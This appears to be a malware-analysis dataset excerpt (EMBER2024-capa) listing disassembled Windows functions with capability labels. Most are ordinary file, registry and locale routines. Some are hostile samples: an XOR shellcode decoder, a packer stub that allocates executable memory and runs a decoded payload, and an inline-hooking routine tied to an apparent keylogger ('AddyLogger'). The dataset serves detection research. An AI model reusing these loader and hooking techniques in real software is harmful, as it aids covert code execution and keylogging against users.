joyce8/EMBER2024-capa huggingface dataset:
Function at 0x450fd9
Capabilities:
Check if file exists
Get file attributes
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x128
xor ebx, ebx
push ebx
push esi
mov edi, ecx
call fcn.00440f60
add esp, 0xc
push 0x104
push dword [edi + 0xc]
lea eax, [esi + 0x22]
push eax
call dword [sym.imp.kernel32.dll_lstrcpyn]
mov eax, dword [edi + 4]
cmp eax, dword [0x46f5a4]
je 0x4510e0
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 8]
push ecx
push eax
call dword [sym.imp.kernel32.dll_GetFileTime]
test eax, eax
je 0x451049
push ebx
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], ebx
jne 0x451050
cmp ebx, ebx
jne 0x451050
xor eax, eax
jmp 0x4510e3
mov edi, dword [edi + 0xc]
cmp dword [edi - 0xc], ebx
jne 0x45105d
mov byte [esi + 0x20], bl
jmp 0x451071
push edi
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
sete cl
dec cl
and ecx, eax
mov byte [esi + 0x20], cl
push 0xffffffffffffffff
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x20]
call fcn.0043d856
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, dword [eax + 4]
mov dword [esi + 4], eax
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x20]
call fcn.0043d856
mov ecx, dword [eax]
mov dword [esi + 0x10], ecx
mov eax, dword [eax + 4]
mov dword [esi + 0x14], eax
push 0xffffffffffffffff
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x20]
call fcn.0043d856
mov ecx, dword [eax]
mov dword [esi + 8], ecx
mov ecx, dword [eax + 4]
mov dword [esi + 0xc], ecx
mov ecx, dword [esi]
or ecx, dword [esi + 4]
jne 0x4510cc
mov ecx, dword [eax]
mov dword [esi], ecx
mov eax, dword [eax + 4]
mov dword [esi + 4], eax
mov eax, dword [esi + 0x10]
or eax, dword [esi + 0x14]
jne 0x4510e0
mov eax, dword [esi + 8]
mov dword [esi + 0x10], eax
mov eax, dword [esi + 0xc]
mov dword [esi + 0x14], eax
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x452eae
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x47b258]
xor eax, dword [ebp + 4]
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
call dword [sym.imp.kernel32.dll_lstrlen]
mov esi, eax
mov eax, 0x100
cmp esi, eax
ja 0x452f00
push eax
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.user32.dll_GetWindowTextA]
cmp eax, esi
jne 0x452f00
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.kernel32.dll_lstrcmp]
test eax, eax
je 0x452f0c
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.user32.dll_SetWindowTextA]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
pop esi
call fcn.0043eeae
leave
ret 8
Function at 0x453848
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x47b258]
xor eax, dword [ebp + 4]
push esi
mov esi, ecx
cmp dword [esi + 0x50], 0
mov dword [ebp - 4], eax
je 0x453898
push dword [ebp + 8]
call fcn.00458542
mov esi, eax
test esi, esi
je 0x4538c0
push edi
push 4
lea eax, [ebp + 0x10]
push eax
push 4
push 0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.advapi32.dll_RegSetValueExA]
push esi
mov edi, eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
xor eax, eax
test edi, edi
sete al
pop edi
jmp 0x4538c0
push dword [ebp + 0x10]
lea eax, [ebp - 0x14]
push 0x45dd4c
push eax
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0xc
push dword [esi + 0x64]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_WritePrivateProfileStringA]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
pop esi
call fcn.0043eeae
leave
ret 0xc

Function at 0x4571e8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x47b258]
xor eax, dword [ebp + 4]
cmp dword [ebp + 0xc], 0x800
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
jne 0x457245
push 0x470dcc
push eax
call dword [sym.imp.kernel32.dll_lstrcpy]
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
call fcn.0043eeae
leave
ret
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
test eax, eax
jne 0x457214
jmp 0x457238
Function at 0x45726b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x47b258]
xor eax, dword [ebp + 4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_GetModuleHandleA]
xor ebx, ebx
push str.kernel32.dll
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
xor esi, esi
call edi
push str.GetUserDefaultUILanguage
push eax
mov dword [ebp - 0x10], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
cmp eax, ebx
je 0x457310
call eax
mov esi, dword [sym.imp.kernel32.dll_ConvertDefaultLocale]
mov ebx, 0x3ff
mov edi, 0xfc00
mov dword [ebp - 8], eax
movzx eax, ax
mov ecx, eax
and ecx, ebx
movzx ecx, cx
and eax, edi
or eax, ecx
push eax
mov dword [ebp - 0xc], ecx
call esi
push dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
call esi
push str.GetSystemDefaultUILanguage
push dword [ebp - 0x10]
mov dword [ebp - 0x38], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
call eax
mov dword [ebp - 8], eax
movzx eax, ax
mov ecx, eax
and ecx, ebx
movzx ebx, cx
and eax, edi
or eax, ebx
push eax
call esi
push ebx
mov dword [ebp - 0x34], eax
call esi
mov dword [ebp - 0x30], eax
push 4
xor ebx, ebx
jmp 0x457412
call dword [sym.imp.kernel32.dll_GetVersion]
test eax, eax
jns 0x4573c0
lea eax, [ebp - 0xc]
push eax
push 0x20019
push ebx
push str.Control_PanelDesktopResourceLocale
push 0x80000001
mov dword [ebp - 0xc], ebx
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x457413
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0x10
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x4573b5
cmp dword [ebp - 0x14], 1
jne 0x4573b5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push 0x46a7b0
push eax
call fcn.0044021e
add esp, 0xc
cmp eax, 1
jne 0x4573b5
mov eax, dword [ebp - 0x18]
mov esi, dword [sym.imp.kernel32.dll_ConvertDefaultLocale]
mov dword [ebp - 8], eax
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
movzx edi, cx
and eax, 0xfc00
or eax, edi
push eax
call esi
push edi
mov dword [ebp - 0x3c], eax
call esi
push 2
mov dword [ebp - 0x38], eax
pop esi
push dword [ebp - 0xc]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x457413
push str.ntdll.dll
call edi
cmp eax, ebx
je 0x457413
lea ecx, [ebp - 8]
push ecx
push 0x457259
push 1
push 0x10
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.kernel32.dll_EnumResourceLanguagesA]
cmp word [ebp - 8], bx
je 0x457413
movzx eax, word [ebp - 8]
mov esi, dword [sym.imp.kernel32.dll_ConvertDefaultLocale]
mov ecx, eax
and ecx, 0x3ff
movzx edi, cx
and eax, 0xfc00
or eax, edi
push eax
call esi
push edi
mov dword [ebp - 0x3c], eax
call esi
mov dword [ebp - 0x38], eax
push 2
pop esi
mov dword [ebp + esi*4 - 0x3c], 0x800
inc esi
xor edi, edi
cmp esi, ebx
jle 0x457439
push dword [ebp + edi*4 - 0x3c]
push dword [ebp + 8]
call fcn.004571e8
cmp eax, ebx
pop ecx
pop ecx
jne 0x45743b
inc edi
cmp edi, esi
jl 0x457422
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, dword [ebp + 4]
pop edi
pop esi
pop ebx
call fcn.0043eeae
leave
ret 4
Function at 0x45744d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
xor edi, edi
mov dword [ecx + 0x9c], edi
cmp dword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
mov ebx, 0x47b150
je 0x457509
push esi
lea eax, [ebp - 4]
push eax
push 1
push edi
push dword [ebx]
push 0x80000001
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4574f1
mov esi, dword [ebx + 4]
jmp 0x4574eb
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x4574db
cmp dword [ebp - 0xc], 4
jne 0x4574db
cmp dword [ebp - 8], edi
mov eax, dword [ebp - 0x10]
mov ecx, dword [esi + 4]
je 0x4574d3
or dword [eax + 0x9c], ecx
jmp 0x4574db
not ecx
and dword [eax + 0x9c], ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
add esi, 8
mov eax, dword [esi]
cmp eax, edi
jne 0x45749f
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegCloseKey]
add ebx, 8
cmp dword [ebx], edi
mov dword [ebp - 4], edi
jne 0x457482
pop esi
push edi
call dword [sym.imp.advapi32.dll_RegCloseKey]
xor eax, eax
pop edi
inc eax
pop ebx
leave
ret

Function at 0x4578a7
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov eax, 0x45caf3
call fcn.00440a5c
sub esp, 0x110
mov eax, dword [0x47b258]
xor eax, dword [ebp + 4]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
lea ecx, [ebp - 0x18]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegOpenKeyA]
mov esi, eax
test esi, esi
jne 0x457962
push ebx
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov ebx, 0xff
jmp 0x45792b
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00402330
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x18]
call fcn.004578a7
mov ecx, dword [ebp - 0x1c]
mov esi, eax
test esi, esi
setne byte [ebp - 0x11]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401f30
cmp byte [ebp - 0x11], 0
jne 0x457940
push ebx
lea eax, [ebp - 0x11c]
push eax
push 0
push dword [ebp - 0x18]
call edi
mov esi, eax
test esi, esi
je 0x4578ef
cmp esi, 0x103
pop edi
pop ebx
je 0x457952
cmp esi, 0x3f2
jne 0x457962
mov eax, dword [ebp + 0xc]
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegDeleteKeyA]
mov esi, eax
push dword [ebp - 0x18]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
xor ecx, dword [ebp + 4]
mov eax, esi
pop esi
call fcn.0043eeae
leave
ret 8

Function at 0x457c78
Capabilities:
Get thread local storage value

Disassembly:
push dword [ecx]
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x457c95
mov ecx, dword [esp + 4]
cmp ecx, dword [eax + 8]
jge 0x457c95
mov eax, dword [eax + 0xc]
mov eax, dword [eax + ecx*4]
jmp 0x457c97
xor eax, eax
ret 4
Function at 0x457d8f
Capabilities:
Allocate thread local storage

Disassembly:
xor eax, eax
push esi
mov esi, ecx
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x18], 4
mov dword [esi + 4], eax
mov dword [esi + 8], 1
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x457dc3
call fcn.0044b4fa
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
ret

Function at 0x457e2b
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push dword [edi]
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x457e59
mov eax, dword [esp + 0x10]
cmp eax, dword [esi + 8]
jl 0x457ef4
cmp dword [esp + 0x14], ebx
je 0x457ef4
jmp 0x457e96
push 0x10
call fcn.00457b3d
cmp eax, ebx
je 0x457e6f
mov ecx, eax
call fcn.00457d86
mov esi, eax
jmp 0x457e71
xor esi, esi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
lea ebx, [edi + 0x1c]
push ebx
call dword [sym.imp.kernel32.dll_EnterCriticalSection]
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
mov dword [esi + eax], ecx
push ebx
mov dword [edi + 0x14], esi
call dword [sym.imp.kernel32.dll_LeaveCriticalSection]
xor ebx, ebx
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x457ead
mov eax, dword [edi + 0xc]
shl eax, 2
push eax
push ebx
call dword [sym.imp.kernel32.dll_LocalAlloc]
jmp 0x457ebd
mov ecx, dword [edi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.kernel32.dll_LocalReAlloc]
cmp eax, ebx
mov dword [esi + 0xc], eax
jne 0x457ec9
call fcn.0044b4fa
mov eax, dword [esi + 8]
mov ecx, dword [edi + 0xc]
sub ecx, eax
shl ecx, 2
push ecx
mov ecx, dword [esi + 0xc]
lea eax, [ecx + eax*4]
push ebx
push eax
call fcn.00440f60
mov eax, dword [edi + 0xc]
add esp, 0xc
push esi
mov dword [esi + 8], eax
push dword [edi]
call dword [sym.imp.kernel32.dll_TlsSetValue]
mov eax, dword [esi + 0xc]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
pop edi
pop esi
mov dword [eax + edx*4], ecx
pop ebx
ret 8
Function at 0xcb0d14
Capabilities:
Encode data using xor

Disassembly:
jmp 0xcb0d1e
pushal
call 0xcb0d24
pop ebp
sub ebp, 0x10
sub ebp, 0x8b0d14
jmp 0xcb0d3a
add al, 0
add byte [eax], al
dec edx
push esp
adc dword [eax + edi*4], ebx
adc al, 0xd
mov eax, dword [eax]
mov eax, 0x8b0d14
add eax, ebp
add eax, 0x4c
mov ecx, 0x5dc
mov edx, 0xd87c7758
xor byte [eax], dl
inc eax
dec ecx
jne 0xcb0d51
jmp 0xcb0d64
rcl dword [ebp + 0x5864d1d3], cl
pop eax
pop eax
fstp dword [ecx + 0x585858a0]
pop ebx
xchg ebp, eax
loopne 0xcb0dd2
pop eax
pop eax
pop eax
loop 0xcb0deb
pop eax
pop eax
pop eax
scasd eax, dword es:[edi]
mov edx, 0xd9d3905b
push esp
pop eax
pop eax
pop eax
pop ebx
popfd
aad 0x3c
jl 0xcb0d32
rcr dword [esp + edi*2 - 0x2b], 1
cmp al, 0x7c
movsb byte es:[edi], byte [esi]
rcr dword [esp + edi*2 + 0x30], 1
rcl byte [esi + eax*2 + 0x58]
xor dl, dl
pop eax
xor eax, 0x7c745958
rcr byte [eax + 0x35], cl
pop eax
pop ecx
je 0xcb0e21
xor byte [eax], dl
invalid
mov cl, 0x76
pop eax
pop eax
pop eax
or eax, 0xddd3b4d3
push eax
pop eax
pop eax
pop eax
ror ebp, cl
push esp
pop eax
pop eax
pop eax
rcl ebp, cl
dec eax
pop eax
pop eax
pop eax
cdq
mov cl, 0x5a
imul ebx, dword [edx - 0x25], 0x57115c9a
push edi
invalid
push esp
inc esi
pop eax
xor dl, dl
pop eax
xor eax, 0x7c745958
aad 0x3c
jl 0xcb0d9e
rcl dword [esp + edi*2 - 0x50]
pop ebp
pop eax
pop eax
pop eax
mov cl, 0x13
pop edx
pop eax
pop eax
aad 0x3c
jl 0xcb0daf
sal dword [esp + edi*2 - 0x2d], 1
mov ah, 0xa7
sub eax, 0x502da754
mov al, 0x20
pop eax
pop eax
pop eax
shl ebp, cl
push eax
pop eax
pop eax
pop eax
imul edx, dword [ecx - 0x391c5527], 0x4e
call 0xc7aeb906
dec esi
call 0xb1a6989e
pop ebp
adc byte [edi - 0x24], dl
push ss
pop eax
pop eax
pop eax
push edi
rcl byte [eax]
pop eax
pop eax
pop eax
rol dword ds:[ecx - 0x28], cl
mov dword [0x42dc57b0], eax
pop eax
pop eax
pop eax
fsub dword [ebx + 0x49dc57b1]
pop eax
pop eax
pop eax
fldenv ds:[ebx - 0x23a88259]
dec ebp
pop eax
pop eax
pop eax
sbb dword [ecx - 0x5858586c], esi
jno 0xcb0e7e
popal
pop ecx
fistp dword [ecx + 0x5cb0db5d]
mov cl, 0xe5
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
jno 0xcb0e85
popal
pop edx
fistp dword [ecx + 0x5cb2db5e]
invalid
invalid
repe cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
sal dword [esp + edi*2 - 0x2b], cl
cmp al, 0x7c
pop esp
lcall 0xeb4, 0xd30d5854
invalid
Function at 0x3200e11a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x3200e129
pop dword [ebp - 0x2c]
mov eax, 0x3200e129
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x904be1b7
sub dword [ebp - 0x3c], 0x41f99c6c
mov dword [ebp - 0x38], 0xb640e770
add dword [ebp - 0x38], 0x7bf264d5
mov dword [ebp - 0x34], 0x75f21fc0
sub dword [ebp - 0x34], 0x29a5db92
mov dword [ebp - 0x30], 0x85912984
add dword [ebp - 0x30], 0x7a6ed67c
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x53575512
sub eax, 0x2152248e
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x95e65a80
add dword [ebp - 0x3c], 0xde8c0ed6
mov dword [ebp - 0x38], 0xac089a99
sub dword [ebp - 0x38], 0x6a9c3924
mov dword [ebp - 0x34], 0xf1961ead
add dword [ebp - 0x34], 0x71d94dbf
mov dword [ebp - 0x30], 0xa0bcb6a0
add dword [ebp - 0x30], 0x5f434960
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x4788d
push 0
call eax
mov ecx, 0xc55fbaea
add ecx, 0x3aa08dcc
mov ebx, eax
mov esi, 0x86268981
sub esi, 0x541ee781
add esi, dword [ebp - 0x2c]
mov edi, 0x9e21bef1
sub edi, 0xeb5f72bd
xor dword [ebp - 0xc], 0x8a716aa9
mov edx, dword [esi]
sub dword [ebp - 0xc], 0x931a06e5
xor edx, edi
sub dword [ebp - 0x28], 0xa3081055
mov dword [ebx], edx
sub dword [ebp - 8], 0xc4b23653
add ebx, 0x10c33fbd
sub ebx, 0x10c33fb9
add esi, 4
loop 0x3200e241
add eax, 0xf577d323
sub eax, 0xf576bd78
mov ebx, eax
add eax, 0x8cbe3f5c
sub eax, 0x8cbe3f57
mov ecx, 0x8c37861f
add ecx, 0xa5c879e1
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x10001400
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov ebx, dword [ebx]
mov ebx, dword [ebx]
mov ebx, dword [ebx + 0x10]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001830
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10013448
push 0x1000f08e
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10016040]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 0x10]
add esi, 5
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov edi, eax
lea eax, [ebp - 0x1c]
push eax
push 0x40
push esi
push edi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [ebp + 0x10]
mov esi, dword [ebp + 8]
push esi
call ebx
push dword [ebp + 0x10]
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, esi
sub eax, edi
mov ecx, dword [ebp + 0x10]
add eax, 0xfffffffb
add eax, ecx
mov byte [edi + ecx], 0xe9
mov dword [edi + ecx + 1], eax
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push ecx
push esi
call ebx
push dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov dword [ebp - 4], 0xfffffffe
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100019f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x108
mov eax, dword [0x10016040]
xor eax, esp
mov dword [esp + 0x104], eax
cmp dword [ebp + 8], 0
je 0x10001b59
push 0x100
lea eax, [esp + 4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp + 0xc]
mov edx, 0xff
push eax
push ecx
push dword [ebp + 8]
lea ecx, [esp + 0xc]
call fcn.10001170
add esp, 0xc
cmp byte [0x100168f4], 0
jne 0x10001ad6
push ecx
push 0x12
push ecx
call fcn.1000db00
cmp dword [0x10016238], 0
jne 0x10001a8f
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Gagal_membuka_file_log:
push 0x1000e400
call fcn.1000e1e0
push ecx
mov edx, str.AddyLogger.txt
mov ecx, eax
call fcn.1000e1e0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x10001ad6
mov ecx, 0x100161ec
mov byte [0x100168f4], 1
call fcn.1000e100
test eax, eax
jne 0x10001abb
push eax
mov eax, dword [0x100161e8]
push 2
mov ecx, dword [eax + 4]
add ecx, 0x100161e8
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push 1
push 0
push str.AddyLogger.txt
push str.notepad.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ecx
push 0xa
push ecx
call fcn.1000db00
cmp dword [0x10016238], 0
push 0x1000e400
push ecx
jne 0x10001b1b
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Gagal_membuka_file_log:_AddyLogger.txt
call fcn.1000e1e0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.1000f0bd
mov esp, ebp
pop ebp
ret
lea edx, [esp + 8]
mov ecx, 0x100161e8
call fcn.1000e1e0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, 0x100161ec
call fcn.1000e100
test eax, eax
jne 0x10001b59
push eax
mov eax, dword [0x100161e8]
push 2
mov ecx, dword [eax + 4]
add ecx, 0x100161e8
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.1000f0bd
mov esp, ebp
pop ebp
ret